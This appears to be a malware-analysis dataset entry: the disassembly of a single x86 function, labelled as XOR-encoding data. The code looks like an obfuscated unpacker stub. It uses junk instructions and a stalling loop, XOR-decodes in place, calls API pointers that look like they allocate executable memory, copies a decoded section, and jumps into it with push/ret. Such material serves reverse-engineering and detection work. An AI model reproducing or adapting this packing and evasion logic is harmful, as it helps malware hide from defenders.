Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf926d710
not edi
sub edi, 0x99bcce18
sub edi, edx
popal
inc edi
and edi, edx
mov ecx, 0
mov esi, edi
mov eax, 0xfc7a70b8
or eax, ebx
mov eax, 0x8e6fda7b
mov edx, esi
or ebx, ebx
mov eax, ebx
mov edi, edx
and eax, eax
add ebx, ebx
inc ecx
and ebx, ebx
sub ebx, 0xf24cfe43
cmp ecx, 0x10007b5
jne 0xa789c5
sub eax, 0x87af4f9c
not ebx
mov ebx, eax
mov edx, edi
mov edx, edi
dec edx
mov eax, 0xa78796
or ebx, ebx
or ecx, ebx
mov esi, 0xa7898a
sub ecx, 0x5cc1bac1
not edx
sub edx, 0x78e6f9a1
mov edi, dword [eax]
and ebx, edx
add ebx, ebx
add edx, ebx
and edi, 0xff
inc ecx
dec ecx
xor dword [esi], edi
add edx, 0x48b3fa99
sub ecx, 0x7dffc674
inc esi
not ecx
and edx, ecx
and edx, ebx
inc eax
mov edx, 0x2355821f
mov ecx, edx
inc ecx
cmp esi, entry0
jl 0xa78a1f
not ebx
not edx
add ecx, edx
sub ebx, 0x94b2ab06
inc edx
or ecx, edi
dec edi
mov ebx, 0xa7898e
not esi
add edi, 0x9352c2f0
not edx
mov ebx, dword [ebx]
mov edi, edx
sub edx, edi
mov ebx, dword [ebx]
add edx, ecx
or esi, ecx
or esi, edi
push ebx
sub edx, 0x357a9a20
mov ecx, edi
and ecx, esi
mov ebx, 0xa7898a
not edi
sub edx, 0x9265b25a
sub edx, 0x5751b887
mov ebx, dword [ebx]
mov edi, esi
mov edx, 0x1d6ed4c1
mov ebx, dword [ebx]
sub ecx, 0x40fc67d7
add edi, 1
add edx, 0x1bf1d71c
push 0xa78992
dec ecx
inc edx
and ecx, edx
call ebx
or edi, edi
mov ecx, esi
pop ebx
sub edx, 0x3af8f536
and ecx, esi
push 0xa7899f
add edx, 0x6afc399d
sub edi, ecx
dec ecx
sub esp, 4
mov dword [esp], eax
mov edi, esi
sub edi, 0xc35abc68
add edi, 0xf2e3498e
call ebx
add edi, edi
mov edi, esi
and ecx, ecx
push 0x40
or edi, esi
mov edx, 0x1fed1782
push 0x3000
mov esi, edi
and edi, edx
sub esp, 4
mov dword [esp], 0x20000217
sub ecx, edi
add ecx, 0xe6ab1917
sub edi, ecx
push 0
and edx, esi
mov edx, 0xe44f993f
call eax
add edx, 0xc7198c12
add esi, edi
add eax, 0x200001aa
dec ecx
mov ecx, 0x38a79418
mov ebx, 0x2aef8c8c
sub ecx, edx
dec edx
inc edx
mov dword [eax], ebx
dec edx
add edi, 0x167dc508
and edi, edx
mov ebx, dword [eax]
and edi, esi
or edx, edi
cmp ebx, 0x2aef8c8c
je 0xa78b77
mov ebx, 0
mov ecx, dword [ebx]
add edx, ecx
dec edx
add edi, esi
mov esi, 0x901b8b19
not edi
add edi, edx
or edx, edi
and edi, edi
mov ebx, section..reltc
and edx, edi
not edi
mov esi, 0xa78795
inc edx
sub edx, edi
add edi, 0x88bab41f
mov eax, 0
not edi
mov edi, 0x89fb1beb
add edx, edi
mov ecx, 0xa78796
sub edi, 0x93368be3
sub edx, edi
lea ecx, [eax + ecx]
add edx, edi
inc edx
mov ecx, dword [ecx]
or edx, edi
or edx, edi
and ecx, 0xff
mov edx, 0x6fef1d0
mov edx, edi
inc eax
add edx, edi
or edi, edx
cmp eax, 0x1f4
jne 0xa78be6
mov eax, 0
add edi, 0x898e10f1
or edx, edx
dec edi
sub edi, 0xfaf62732
and edx, edi
add edx, 0xdaedd51f
xor dword [ebx], ecx
mov edx, edi
add edi, 0xa5f94fc3
and edi, edx
add ebx, 2
sub edx, 0xaa8ab614
add edi, edi
cmp ebx, esi
jl 0xa78bae
add edi, 0x95684cac
and edi, edi
sub edx, 1
mov edx, 0x3f958e72
mov edx, edi
sub edi, 0xce8642a4
mov esi, section..reltc
mov eax, 0xb94cdfab
mov eax, ebx
mov edx, section..reltc
not eax
mov eax, 0x507b3a45
mov edi, 0xa78795
sub ebx, 1
sub ebx, eax
mov ecx, 0
not ebx
or eax, ebx
mov cl, byte [edx]
mov ebx, eax
add ebx, ebx
mov ebx, eax
mov byte [esi], cl
mov ebx, eax
mov ebx, 0x93b6e56a
mov eax, ebx
inc esi
inc ebx
and eax, eax
add eax, 0x6869bbe1
add edx, 2
inc eax
or eax, ebx
mov eax, 0x5080c22
cmp edx, edi
jle 0xa78c68
add ebx, 0xc08f171e
inc ebx
or edx, edx
add edx, 1
sub edx, edi
push 0x8dc6a0
add edx, 0x1b7e3a5b
add edx, 0xceb0d792
ret